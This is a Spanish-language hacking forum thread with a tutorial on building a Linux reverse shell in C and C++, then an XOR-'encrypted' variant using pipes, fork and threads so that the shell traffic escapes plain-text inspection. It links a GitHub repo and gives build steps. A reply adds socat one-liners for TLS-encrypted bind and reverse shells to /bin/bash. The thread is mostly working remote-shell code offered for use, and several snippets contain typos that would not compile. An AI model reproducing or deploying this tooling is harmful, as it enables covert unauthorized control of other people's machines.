Shell Inversa "Cifrada"

  • 5 Respuestas
  • 1971 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado d3adly

  • *
  • Underc0der
  • Mensajes: 90
  • Actividad:
    0%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 12:18:09 am
Hola comunidad les comparto un proyecto en el cual he estado trabajando, si no es la sección correcta del foro pido disculpas.
Inicialmente el proyecto esta dirijido a sistemas Linux, aunque pienso hacer una segunda parte para Windows.

Primero lo basico, una shell inversa normal en linux se realiza normalmente despues creada la conexión con el servidor lo siguiente:
fork       You are not allowed to view links. Register or Login - mas adelante se vera aplicado
dup2     You are not allowed to view links. Register or Login
execve You are not allowed to view links. Register or Login

fork: Realiza una copia excata del proceso que lo llamo, a diferencia que la copia posee su propio identificador de proceso (Process ID).
dup2: Los parametros de esta funcion son 2 dup2(int oldfd, int newfd), esta función hace que el descriptor de archivo newfd sea una copia de oldf.
execve: Recibe tres parametros execve(const char *filename, char *const argv[],char *const envp[]), siendo el primero el archivo a ejecutar, char *const argv[] los argumentos que se le pasan al ejecutable en cuestion, y char *const envp[] las variables de entorno, esta función remplaza los segmentos de datos:
Text,Data, Bss y el Stack del proceso el cual llama la funcion. You are not allowed to view links. Register or Login

Habiendo cubierto lo basico de estas funciones aqui un ejemplo de una shell inversa normal:
Código: (c) You are not allowed to view links. Register or Login
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 1337

int main(int argc, char *argv[])
{
    struct sockaddr_in server;
    int socket;

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    server.sin_port = htons(REMOTE_PORT);

    socket = socket(AF_INET, SOCK_STREAM, 0);
    connect(socket, (struct sockaddr *)&server, sizeof(server));
    dup2(socket, 0);
    dup2(socket, 1);
    dup2(socket, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

Justo en la linea 21 despues de haberse conectado con el servidor, miramos tres llamadas a la funcion dup2 antes descrita. Realiza una copia del socket a tres descriptores de archivo distintos: 0 1 y 2 que son:
0: stdin    - Standard Input:      Es el descriptor de archivo por el cual el proceso lee la información ingresada por el usuario.
1: stdout - Standard Output:  Descriptor usado por el proceso para mostrar información al usuario.
2: stderr  - Standard Error:      Usado por el proceso para escribir información sobre errores.
Luego de esas tres llamadas, cada operación realizada en alguno de estos tres descriptores de archivo sera atravez del socket, lo que reciba el socket sera escrito directamente a stdin, y todo lo que salga de stdout y stderr sera escrito al socket.

Despues se llama a la funcion execve, la cual remplaza la imagen del programa en memoria y ejecuta el binario /bin/sh, ahora cada dato que reciba el socket se escribira en el descriptor de archivo stdin, que a su vez recibira el nuevo programa ejecutado, y toda modificación a los descriptores de archivos stdout/stderr seran escritas al socket gracias a las llamadas de la funcion dup2. Solo tocaria escuchar en el puerto especificado y se recibe una shell inversa:
Código: You are not allowed to view links. Register or Login
$ nclokita -lp PUERTO.

Hasta aqui todo bien, aunque toda la informacion que se intercambia viaja en texto plano, y si queremos aplicar un tipo de "cifrado" la cuestion en si es manipular los datos antes de ser enviados y recibidos, y aqui entran en juegos los pipes (tuberias).
Los pipes vienen bien a la hora de comunicacion entre procesos. Un ejemplo sencillo seria:
Código: You are not allowed to view links. Register or Login
$ cat file.txt | wc -l El resultado del comando anterior mostraria la cantidad de lineas que contiene el archivo file.txt, nota el | en medio de de file.txt y wc, esto indica al comando cat que todo lo que vaya a escribir a stdout lo redirija a el stdin de wc.

Ahora el funcionamiento de la shell inversa "cifrada" una vez conectada al servidor y ejecutado el programa debe ser el siguiente:
  • Leer datos del socket
  • Descifrar los datos
  • Escribir la informacion al stdin del programa
  • Leer del stdout/stderr la salida del comando antes ejecutado
  • Cifrar los datos leidos
  • Escribir los datos cifrados al socket
Ahora para lograr manipular los datos antes de escribir o leer al programa se hace el uso de pipes antes lijeramente explicados, haciendo uso de la funcion pipe You are not allowed to view links. Register or Login. Un pipe tiene dos partes
  • Punto de lectura READ-END
  • Punto de escritura WRITE-END
                             

Y observando el ejemplo que nos provee die.net, podemos observar el uso de fork junto con pipe para crear una copia del programa y realizar una comunicacion entre los dos, escribiendo en un extremo del pipe y leyendo del otro extremo. Aplicando este metodo podemos manipular los datos antes de ser enviados o recibidos atravez del socket.

Asumiendo que la conexión con el servidor ya esta realizada, pasemos a ver como implementar nuestra función para leer y escribir del programa ejecutado.
Primero creamos dos pipes uno que servira de escritura y el otro de lectura,
nota: los siguientes codigos no tienen comprobación de errores, y estan escritos asi para una demostracion
Código: (cpp) You are not allowed to view links. Register or Login
int InPipe[2];
int OutPipe[2];
pipe(InPipe);
pipe(OutPipe)
//Si hay error las funciones retornan -1
Una vez creadas las tuberias se procede a realizar un fork, para asi realizar una copia del programa en memoria el cual procederemos a remplazar con un ejecutable, en este caso /bin/sh
Código: (cpp) You are not allowed to view links. Register or Login
pid_t pid = fork();
if(pid == 0){
   //Este es el hijo (child) del proceso que se esta ejecutando
   //el cual a su vez es una copia exacta del proceso excepto el Process ID
} else if(pid > 0) {
   //Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
} else {
   //Si fork no es >= 0 entonces la llamada fallo
}

Ahora en la seccion del proceso hijo realizaremos lo siguiente:
Código: (cpp) You are not allowed to view links. Register or Login
//Copiamos a stdin el extremo READ-END de InPipe
dup2(InPipe[0], 0);

//Copiamos a stdout el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 1);

//Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 2);
Con esto logramos que cualquier lectura/escritura realizada a los descriptores de fichero stdin/stdout/stderr, sean atravez de los pipes respectivamente:
  • Escribiendo a InPipe[1] lo leera el otro extremo InPipe[0] que ahora esta en stdin
  • Leemos de stdout/stderr atravez de OutPipe[0]
Continuando la seccion del proceso hijo:
Código: (cpp) You are not allowed to view links. Register or Login
//Se llama la funcion execve con los parametros deseados
//Si quisieramos pasar argumentos al programa se hacen en el array arg
//Ejemplo  char *arg[] = {"arg1", "arg2", "arg2" ...}
char *arg[] = {nullptr};
char *env[] = {nullptr};
//Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
execve("/bin/sh", arg, env);
exit(0);

Ahora en la seccion del proceso padre crearemos un thread (hilo) para leer el stdout del programa antes ejecutado, cabe mencionar que esta parte se puede implementar junto a otro fork y uniendo dos pipes, pero en este ejemplo lo realizaremos usando threads
Código: (cpp) You are not allowed to view links. Register or Login
//Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0]
//el cual es el extremo que lee del proceso antes ejecutado
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
   //recibimos los datos del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0);
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      //escribimos al extremo WRITE-END de InPipe
      write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
   }
}
th1.join();
Luego la funcion LeerStdout:
Código: (cpp) You are not allowed to view links. Register or Login
void LeerStdout(int Pipe){
   chad CmdBuffer[256];
   int iRet = 0, iRet2 = 0;
   while(1){
      //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
      iRet = read(Pipe, &CmdBuffer, 255);
      //Enviamos los datos leidos de stdout/stderr al servidor
      iRet2 = send(Socket, CmdBufer, iRet);
   }
}
Con esto se concluye el codigo basico sin "cifrar" del cliente esto vendria a ser similar al primer ejemplo de arriba. Pero ahora podemos manipular los datos a nuestro antojo aplicando asi un metodo de encriptación a la información para que esta no viaje en texto plano. En el ejemplo usare XOR, pero con esta base se puede implementar el algoritmo deseado. El codigo de ejemplo se modificaria asi:
Código: (cpp) You are not allowed to view links. Register or Login
//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}
El codigo del proceso padre:
Código: (cpp) You are not allowed to view links. Register or Login
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
   //recibimos los datos cifrados del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0);
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
      //Ahora descifrado contiene el comando descifrado que envio el servidor
      //escribimos al extremo WRITE-END de InPipe el contenido descifrado
      write(InPipe[1], Descifrado.c_str(), Descifrado.length());
   }
}
th1.join();
El codigo de la funcion que lee el stdout/stderr del proceso hijo:
Código: (cpp) You are not allowed to view links. Register or Login
void LeerStdout(int Pipe){
   chad CmdBuffer[256];   
   int iRet = 0, iRet2 = 0;
    while(1){
       //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
       iRet = read(Pipe, &CmdBuffer, 255);
       std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
       //ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
       //Enviamos los datos cifrados leidos de stdout/stderr al servidor
       iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length());
    }
 }

Esa seria la implementación de pipes junto con fork y execve para obetener una shell inversa "cifrada". Les dejo mi proyecto en github You are not allowed to view links. Register or Login

Ahora un mini tutorial usando mi codigo de github  ;D:
Clonar repo
Código: You are not allowed to view links. Register or Login
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git
Abrir el archivo Client.cpp y modificar el valor de la variable strPassword dentro de la clase Client con una clave deseada.
Luego modificar la funcion main con la ip y puerto hacia los cuales se conectara el cliente.
Código: (cpp) You are not allowed to view links. Register or Login
Cli->Connect("IP", "PUERTO")Abrir el archivo Server.cpp y modificar la funcion main cambiando el puerto de esucha y clave a usar en la comunicación
Código: (cpp) You are not allowed to view links. Register or Login
Server *Srv = new Server(1337, "aiiiuuudaaaaa");Y compilar con:
Código: You are not allowed to view links. Register or Login
g++ -Wall -Wextra Client.cpp -o Client -pthread
Código: You are not allowed to view links. Register or Login
g++ -Wall -Wextra Server.cpp -o Server -pthreadEso es todo espero hayan aprendido algo nuevo y le den un buen uso.

Saludos.
« Última modificación: Junio 03, 2020, 03:26:18 am por d3adly »
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Desconectado ???????

  • *
  • Underc0der
  • Mensajes: 242
  • Actividad:
    0%
  • Country: 00
  • Reputación 12
    • Ver Perfil

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 01:23:45 am
Uhh muy buen post compañero, sigue asì  :D :D

Saludos!
-Kirari

Desconectado d3adly

  • *
  • Underc0der
  • Mensajes: 90
  • Actividad:
    0%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 01:52:29 am
Gracias @You are not allowed to view links. Register or Login  ;D
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Desconectado animanegra

  • *
  • Moderador
  • Mensajes: 335
  • Actividad:
    0%
  • Country: 00
  • Reputación 14
    • Ver Perfil
    • Basura a ver si google lo indexa

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 09:09:21 am
Simplemente como contenido adicional, para casos en los que se desee hacerlo de forma muy simple sin tener que desarrollar nada. Las shells remotas cifradas se pueden hacer via socat. De hecho socat bajo mi punto de vista es muchísimo mas versatil que nc para muchas cosas.

Shell directa:
Código: You are not allowed to view links. Register or Login
socat OPENSSL-LISTEN:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt EXEC:/bin/bash
Código: You are not allowed to view links. Register or Login
socat stdio OPENSSL:IP:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt,verify=0

Shell inversa:
Código: You are not allowed to view links. Register or Login
socat OPENSSL:IP:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt,verify=0  EXEC:/bin/bash
Código: You are not allowed to view links. Register or Login
socat stdio OPENSSL-LISTEN:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt

El certificado se puede hacer con openssl:

Código: You are not allowed to view links. Register or Login
openssl genrsa -out /tmp/mykey.key 1024
openssl req -new -key /tmp/mykey.key -x509 -days 3653 -out /tmp/mykey.crt

cat /tmp/mykey.key /tmp/mykey.crt > /tmp/key.pem

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

Conectado DtxdF

  • *
  • Moderador Global
  • Mensajes: 999
  • Actividad:
    100%
  • Country: 00
  • Reputación 22
  • Eres un auto y tienes dos opciones: Parar o Seguir
    • Ver Perfil
    • Mi repositorio de Github donde encontraras herramientas para tu trabajo.
    • Email

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 09:48:43 am
Excelente @You are not allowed to view links. Register or Login, muy buenos post's, y como siempre, son un placer leerlos  8)

~ DtxdF
Los seres humanos son robots, cuyo combustible es el afanado dinero.

Desconectado d3adly

  • *
  • Underc0der
  • Mensajes: 90
  • Actividad:
    0%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 02:18:19 pm
You are not allowed to view links. Register or Login
Simplemente como contenido adicional, para casos en los que se desee hacerlo de forma muy simple sin tener que desarrollar nada. Las shells remotas cifradas se pueden hacer via socat. De hecho socat bajo mi punto de vista es muchísimo mas versatil que nc para muchas cosas.
Gracias por la informacion @You are not allowed to view links. Register or Login.

You are not allowed to view links. Register or Login
Excelente @You are not allowed to view links. Register or Login, muy buenos post's, y como siempre, son un placer leerlos  8)
@You are not allowed to view links. Register or Login Me alegra que te gusten .
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn